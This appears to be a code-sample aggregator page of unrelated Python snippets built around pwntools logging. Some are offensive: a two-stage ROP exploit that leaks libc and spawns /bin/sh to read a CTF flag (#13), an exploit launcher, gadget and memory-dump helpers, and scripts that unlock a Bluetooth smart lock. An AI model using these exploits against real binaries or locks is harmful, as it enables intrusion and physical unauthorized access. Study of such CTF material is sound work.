Пример #1
0
 def handleNotification(self,cHandle,enc_data):
     try:
         data = self.AES.decrypt(enc_data)  
     except Exception as e:
         log.failure(f"Cant decrypt {enc_data} with {self.AES_KEY} err: {e}")
         return
     log.debug(f'Notification received from: {cHandle} \nenc_data: {enc_data}\ndata: {data}')
     if data.startswith(bytes([0xcb])):
         log.success("received : withResponse of last command")
     elif data.startswith(self.RESP_GET_BATTERY_FAIL):
         log.failure(f"received: GET BATTERY FAIL")
     elif data.startswith(self.RESP_GET_BATTERY_SUCCESS):
         log.success(f"received: GET BATTERY SUCCESS {data}")
     elif data.startswith(self.RESP_TOKEN):
         log.success(f"received: TOKEN RECEIVED ! {data[3:7]}")
         self.portunus.assign_token(data[3:7])
     elif data.startswith(self.RESP_UNLOCK_SUCCESS):
         log.success("received: UNLOCKED")
     elif data.startswith(self.RESP_UNLOCK_FAIL):
         log.failure("received: UNLOCK FAILED")
     elif data.startswith(self.LOCK_STATE_LOCKED):
         log.success("received: LOCK STATE : LOCKED")
     elif data.startswith(self.LOCK_STATE_UNLOCKED):
         log.success("received: LOCK STATE : UNLOCKED")
     else:
         print(f"Unknown data {data}")
Пример #2
0
def zeroftp_login(username, password):
    payload = zero_pack_int(0x1, endian='big')
    payload += zero_pack_string(username)
    payload += zero_pack_raw(md5sum(password))
    zero_send(payload)
    if zero_recv() == 1:
        log.debug('login success')
    else:
        log.debug('login fail')
Пример #3
0
 def get_process_list(self, location, process_name):
     if location == "host":
         pids = self.get_host_process_list(process_name)
     elif location == "device":
         pids = self.get_device_process_list(process_name)
     else:
         log.warning("The location should be either host or device.")
         return None
     log.debug("pids: %s" % str(pids))
     return pids
Пример #4
0
def payload_dump_mem(r, tar_addr, num_bytes, addhook_ind):
    """
    This function uses payloads/dump_mem to dump memory contents.
    """
    answ = invoke_add_hook(r, addhook_ind,
                           "A" + struct.pack(">II", tar_addr, num_bytes))
    log.debug("[payload_dump_mem] answ (len: {}): {}".format(len(answ), answ))
    assert (answ.startswith("Ok"))
    contents = recv_many(r, verbose=True)
    return contents
Пример #5
0
    def find_gadget(self, insns):
        if type(insns) is str:
            insns = [insn.strip() for insn in insns.split(';')]

        found_gadget = super(BlkROP, self).find_gadget(insns)

        if not found_gadget:
            raise Exception('Gadget %s not found' % insns)

        log.debug('ROP 0x%x %s' %
                  (found_gadget.address, ' ; '.join(found_gadget.insns)))
        return found_gadget
Пример #6
0
def exeute_cmd(cmdline):
    log.debug("cmd: %s" % cmdline)
    cmdline = cmdline
    try:
        # p = os.popen(cmdline)
        # reply = p.read()
        reply = subprocess.check_output(
            cmdline, stderr=subprocess.STDOUT, shell=True, executable="/bin/bash").decode('utf-8')

        # p = subprocess.Popen(cmdline, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, shell=True)
        # reply = p.stdout.read().decode()
    except Exception as e:
        reply = e.output.decode('utf-8', errors='ignore')
    log.debug("reply: %s" % reply)
    sleep(1)
    return reply
Пример #7
0
def main():
  context.log_level = 'info'
  io = connect()
  o = order(io, 9)
  log.debug('Original Order: ' + o)
  progress = log.progress('Finding flag')
  for key_len in xrange(8, 32):
    progress.status('Trying key length of ' + str(key_len))
    modified = modify(o, key_len)
    log.debug('Modified Order: ' + modified)
    try:
      m, p, flag = pay(io, modified)
      progress.success(flag)
      break
    except Exception as e:
      progress.status('Key length ' + str(key_len) + ' failed: ' + str(e))
  io.close()
Пример #8
0
    def send_command(self,command:BLECommand):
        data_to_send = command.getData()
        if command.isPassRequired():
            data_to_send += self.LOCK_PASS
        if command.isTokenRequired():
            data_to_send += self.token 
        if len(data_to_send) < 16:
            data_to_send += bytes(range(len(data_to_send),16))

        assert len(data_to_send)==16
        log.debug(f"sending bytes {data_to_send}")
        enc_data = self.AES.encrypt(data_to_send)
        log.debug(f"sending encrypted bytes {enc_data}")
        ch = self.device.getCharacteristics(uuid=self.WRITE_TO)[0]
        ch.write(enc_data,True)
        self.wait_for_notification()
        self.wait_for_notification()
Пример #9
0
def zero_unpack(payload):
    zero_info = ord(payload[0])
    zero_basic_types = BITS(zero_info, 0, 3)
    assert zero_basic_types < 6
    if zero_basic_types == 1:
        log.debug('recv: bool')
        ret = zero_unpack_bool(payload)
    elif zero_basic_types == 2:
        log.debug('recv: string')
        ret = zero_unpack_string(payload)
    elif zero_basic_types == 3:
        log.debug('recv: raw')
        ret = zero_unpack_raw(payload)
    elif zero_basic_types == 4:
        log.debug('recv: int')
        ret = zero_unpack_int(payload)
    elif zero_basic_types == 5:
        log.debug('recv: list')
        ret = zero_unpack_list(payload)
    return ret
Пример #10
0
def main():

    if len(sys.argv) < 2:
        usage()
    binary = sys.argv[1]
    try:
        elf = ELF(binary)
    except:
        myExit("Problem with binary path " + binary)

    ldPath = None
    libc = None
    libcPath = None
    DEBUG = False
    REMOTE = False

    env = {}
    i = 2
    while i < len(sys.argv):
        opt = sys.argv[i]
        if opt == Mode.DEBUG:
            log.debug("Enable gdb mode")
            DEBUG = True
            i += 1
        elif opt == Mode.REMOTE:
            try:
                host = sys.argv[i + 1]
                port = sys.argv[i + 2]
            except:
                myExit("Problem with -r HOST PORT")
            log.debug("Enable remote connection to ", host, port)
            REMOTE = True
            i += 3

        elif opt == Mode.LIBC:
            try:
                libcVersion = sys.argv[i + 1]
            except:
                myExit("Problem with -l PathToLibC")

            log.debug("Set Library version to", libcVersion)
            # PATH_CUSTOM_GLIBC = PATH_GLIBC % libcVersion

            for file in listdir(PATH_LIBS):

                if file.startswith("ld") and libcVersion in file:
                    ldPath = path.join(PATH_LIBS, file)
                if file.startswith("libc") and libcVersion in file:
                    libcPath = path.join(PATH_LIBS, file)

            # libcPath = "/lib/x86_64-linux-gnu/libc-2.27.so"

            env = {"LD_PRELOAD": libcPath}

            libc = ELF(libcPath)
            i += 2

        else:
            myExit("Unknown option only -d -l -ld -r")

    if not libc:
        libc = elf.libc
    if REMOTE:
        r = remote(host, int(port))

    else:
        if ldPath is None:
            r = process(binary, env=env)
        else:
            r = process([ldPath, binary], env=env)
        if DEBUG:
            # Example
            # bp = [elf.sym["malloc"]]
            # bp = ["malloc"]

            debug(r, bp, elf)
    exploit(r, elf, libc)
Пример #11
0
 def reconnect(self):
     log.debug("reconnect %s" % self.serial)
     self.adb("reconnect")
     sleep(5)
     self.host_shell("/usr/bin/adb reconnect offline")
Пример #12
0
def extract_map(map_dir: str, progress: Progress):
    maps = {}
    for map_name in os.listdir(map_dir):
        # Ignore some unsupported maps
        if (not os.path.isdir(f"{map_dir}/{map_name}")
                or "EntryMap" in map_name or "Forest" in map_name
                or "Jensens_Range" in map_name or "Tutorial" in map_name
                or "Fallujah" == map_name):
            continue

        progress.status(map_name)

        # Some maps have their Gameplay Layers in a subdirectory called Gameplay_Layers.
        # For maps that don't have the Gameplay_Layers subdirectory, all the
        # umap files in the map root directory are gameplay layers.
        # (I hope this doesn't change at some point.
        #  Otherwise we'll try to process lighting layer umap files and will probably
        #  crash at some point.)
        gameplay_layer_dir = f"{map_dir}/{map_name}"
        if "Gameplay_Layers" in os.listdir(gameplay_layer_dir):
            gameplay_layer_dir += "/Gameplay_Layers"

        for layer in os.listdir(gameplay_layer_dir):
            # ignore non-umap files
            if not layer.endswith(".umap"):
                continue
            layer = layer.replace(".umap", "")

            # only process supported game modes
            game_mode = None
            for gm in GAME_MODES:
                if gm.casefold() in layer.casefold():
                    game_mode = gm
                    break
            if game_mode is None:
                continue

            progress.status(f"{map_name} - {layer}")

            # extract map information from umap with umodel
            yaml_filename = f"{config.LAYER_DUMP_DIR}/{layer}.yaml"
            if not os.path.isfile(yaml_filename):
                if context.log_level <= logging.DEBUG:
                    stderr = sys.stderr
                else:
                    stderr = subprocess.DEVNULL
                yaml_content = subprocess.check_output(
                    [
                        config.UMODEL_PATH,
                        f"{gameplay_layer_dir}/{layer}.umap",
                        "-game=ue4.24",
                        "-dump",
                    ],
                    stderr=stderr,
                )
                log.debug(yaml_content.decode("UTF-8"))
                _, _, yaml_content = yaml_content.partition(b"---")
                with open(yaml_filename, "wb") as f:
                    f.write(yaml_content)
                # help the GC a little
                del yaml_content

            with open(yaml_filename, "r") as f:
                docs = list(yaml.safe_load_all(f))

            # build lane graph from map info
            lane_graph, clusters, mains = get_lane_graph_and_clusters(docs)

            # get map bounds from map info by looking at the two MapTexture objects
            bounds = []
            for obj in docs:
                sdk_name = list(obj.keys())[0]
                _, _, sdk_name = sdk_name.rpartition(".")
                # ignore everything that's not the MapTexture object
                if not sdk_name.startswith("MapTexture"):
                    continue
                x, y = absolute_location(access_one(obj)["RootComponent"])
                bounds.append((x, y))

            # we should have exactly two bounding coordinates
            # (e.g., north-east and south-west)
            assert len(bounds) == 2

            # get minimap filename from import table
            # note that some CAF maps use the minimap from vanilla maps, so they
            # don't have a minimap file themself
            minimap_name = None
            table_dump_filename = f"{config.LAYER_DUMP_DIR}/{layer}.tabledump.txt"
            if not os.path.isfile(table_dump_filename):
                table_dump = subprocess.check_output(
                    [
                        config.UMODEL_PATH,
                        f"{gameplay_layer_dir}/{layer}.umap",
                        "-game=ue4.24",
                        "-list",
                    ],
                    stderr=subprocess.DEVNULL,
                )
                with open(table_dump_filename, "wb") as f:
                    f.write(table_dump)

            with open(table_dump_filename, "r") as f:
                table_dump = f.read()

            # extract minimap image (.tga) with umodel
            for name in table_dump.splitlines():
                match = re.match(
                    f"[0-9]+ = .*/Maps/(.*/(Minimap|Masks)/(.*inimap.*))",
                    name)
                if match is None:
                    continue
                minimap_path_in_package, minimap_name = match.group(1, 3)

                # skip if minimap already exists
                os.makedirs(config.FULLSIZE_MAP_DIR, exist_ok=True)
                if os.path.isfile(
                        f"{config.FULLSIZE_MAP_DIR}/{minimap_path_in_package}.tga"
                ):
                    break
                umodel_cmd = [
                    config.UMODEL_PATH,
                    f"-export",
                    f"{map_dir}/{minimap_path_in_package}.uasset",
                    f"-game=ue4.24",
                    f"-out={config.LAYER_DUMP_DIR}",
                ]
                assert (subprocess.call(
                    umodel_cmd,
                    stdout=subprocess.DEVNULL,
                    stderr=subprocess.DEVNULL) == 0), "map extract failed"

                # ignore maps smaller than 1 MiB
                # (might be a thumbnail)
                if (os.stat(f"{config.LAYER_DUMP_DIR}/{minimap_name}.tga").
                        st_size < 1 * 1024 * 1024):
                    minimap_name = None
                    continue
                subprocess.call([
                    "mv",
                    f"{config.LAYER_DUMP_DIR}/{minimap_name}.tga",
                    f"{config.FULLSIZE_MAP_DIR}",
                ])
                break

            MAP_RENAMES = {
                "Al_Basrah_City": "Al Basrah",
                "BASRAH_CITY": "Al Basrah",
                "Belaya": "Belaya Pass",
                "Fallujah_City": "Fallujah",
                "Mestia_Green": "Mestia",
            }

            pretty_map_name = map_name
            pretty_map_name = MAP_RENAMES.get(
                pretty_map_name) or pretty_map_name
            pretty_map_name = pretty_map_name.replace("_", " ")

            # strip out map name from layer name
            is_caf = layer.startswith("CAF_")  # don't strip out CAF prefix
            layer_game_mode_index = layer.casefold().index(
                game_mode.casefold())
            pretty_layer_name = (
                game_mode + layer[layer_game_mode_index + len(game_mode):])
            pretty_layer_name = pretty_layer_name.strip()
            pretty_layer_name = pretty_layer_name.replace("_", " ")
            if is_caf:
                pretty_layer_name = "CAF " + pretty_layer_name
            assert pretty_map_name != ""
            assert pretty_layer_name != ""

            assert (minimap_name is not None
                    ), f"{pretty_map_name}/{pretty_layer_name} has no minimap"

            layer_data = {
                "background": {
                    "corners": [{
                        "x": p[0],
                        "y": p[1]
                    } for p in bounds],
                    "minimap_filename": minimap_name,
                    "heightmap_filename":
                    f"height-map-{pretty_map_name.rpartition(' ')[0].lower()}C1",
                    "heightmap_transform": {
                        "shift_x": 0,
                        "shift_y": 0,
                        "scale_x": 1.0,
                        "scale_y": 1.0,
                    },
                },
                "mains": mains,
                "clusters": clusters,
                "lanes": lane_graph,
            }

            if pretty_map_name not in maps:
                maps[pretty_map_name] = {}
            maps[pretty_map_name][pretty_layer_name] = layer_data

    return maps
Пример #13
0
    def exploit(self):
        elf = self.elf
        libc = self.libc
        libc.symbols['OneGadget'] = 0x41320
        libc.symbols['/bin/sh'] = 0x001633e8
        base_data = 0x80

        #    (gdb) x/xg 0x00601560
        #    0x601560:       0x0000001500000064
        Turtle_say_sel_id = 0x0000001500000064

        with self.get_process(ld_linux=True) as self.p:

            # -- stage 1 ---------------------------------------------------------------

            ADDR_turtle = self.get_turtle_address()
            log.info('turtle : %s', hex(ADDR_turtle))
            data = '%sEND'
            ADDR_data = ADDR_turtle + base_data

            rop_chain = ROP(elf)
            rop_chain.printf(ADDR_data, elf.got['setvbuf'])
            rop_chain.main()
            log.debug('ROP CHAIN: \n%s', rop_chain.dump())

            payload = Attack.create_fake_turtle(ADDR_turtle, rop_chain.chain(),
                                                data, Turtle_say_sel_id)
            assert ('\n' not in payload)
            self.p.sendline(payload)

            if args.GDB:
                pause()

            leak = self.p.recvuntil('END', drop=True)
            ADDR_setvbuf = u64(leak.ljust(8, '\x00'))
            libc.address = ADDR_setvbuf - libc.symbols['setvbuf']
            ADDR_bin_sh = libc.symbols['/bin/sh']
            log.info('setvbuf   : %s', hex(ADDR_setvbuf))
            log.info('libc      : %s', hex(libc.address))
            log.info('/bin/sh   : %s', hex(ADDR_bin_sh))

            # -- stage 2 ---------------------------------------------------------------

            if args.GDB:
                pause()

            ADDR_turtle1 = self.get_turtle_address()
            log.info('turtle2   : %s', hex(ADDR_turtle1))
            data = '/bin/sh\x00'
            ADDR_data = ADDR_turtle1 + base_data

            rop_chain2 = ROP(libc)
            rop_chain2.system(ADDR_bin_sh)
            log.debug('ROP CHAIN: \n%s', rop_chain2.dump())

            payload = Attack.create_fake_turtle(ADDR_turtle1,
                                                rop_chain2.chain(), data,
                                                Turtle_say_sel_id)
            assert ('\n' not in payload)
            self.p.sendline(payload)

            self.p.sendline('ls -laF')
            self.p.sendline('cat flag*')
            self.p.interactive()
Пример #14
0
buckles = []

if len(devices) == 0:
    log.warn("Where are you dude ? :X Maybe increase scan time ?")
    exit()

c = 0
c2 = 0
totallen = len(devices)
with log.progress('Taking closer look to found devices') as progress:
    for dev in devices:
        time.sleep(0.2)
        for (adtype, desc, value) in dev.getScanData():
            if value == DEVICE_NAME:
                log.debug(
                    f"Found {DEVICE_NAME} boi!\nRSSI: {dev.rssi} ADDR: {dev.addr} RAWDATA: {dev.rawData}"
                )
                c += 1
                scanData = dev.rawData
                log.success(
                    f"DEVICE INFO Numero: {c}\nAddr : {dev.addr}\nDevice id : {scanData[5:13]}\nBattery level: {int(scanData[14])}\nLock: {scanData[15]}"
                )
                buckles.append((dev.addr, dev.addrType))
        c2 += 1
        # try:
        #     p = Peripheral(dev.addr,dev.addrType)
        # except:
        #     continue
        # try:
        #     fs = p.getServiceByUUID(TARGET_SERVICEUUID)
        #     log.success("Found the other one! Gonna exploit")
Пример #15
0
    n = args.size / args.block
    logger.info('dumping %d block' % n)

    fmt_path = os.path.join(args.dir, '%s.%%d.img' % args.base)

    logger.info('format string for path: \'%s\'' % fmt_path)

    telnet = Telnet('localhost', 4444)

    msg = telnet.read_until('\n\r> ')

    telnet.write('targets\n')

    msg = telnet.read_until('\n\r> ')

    logger.debug(msg)

    running = True
    errors_count = 0
    it_idx = iter(xrange(args.start, args.end + 1 if args.end else n))

    idx = 0

    while running:
        #for idx in xrange(args.start, args.end + 1 if args.end else n):
        if errors_count == 0:
            try:
                idx = next(it_idx)
            except StopIteration:
                running = False
                continue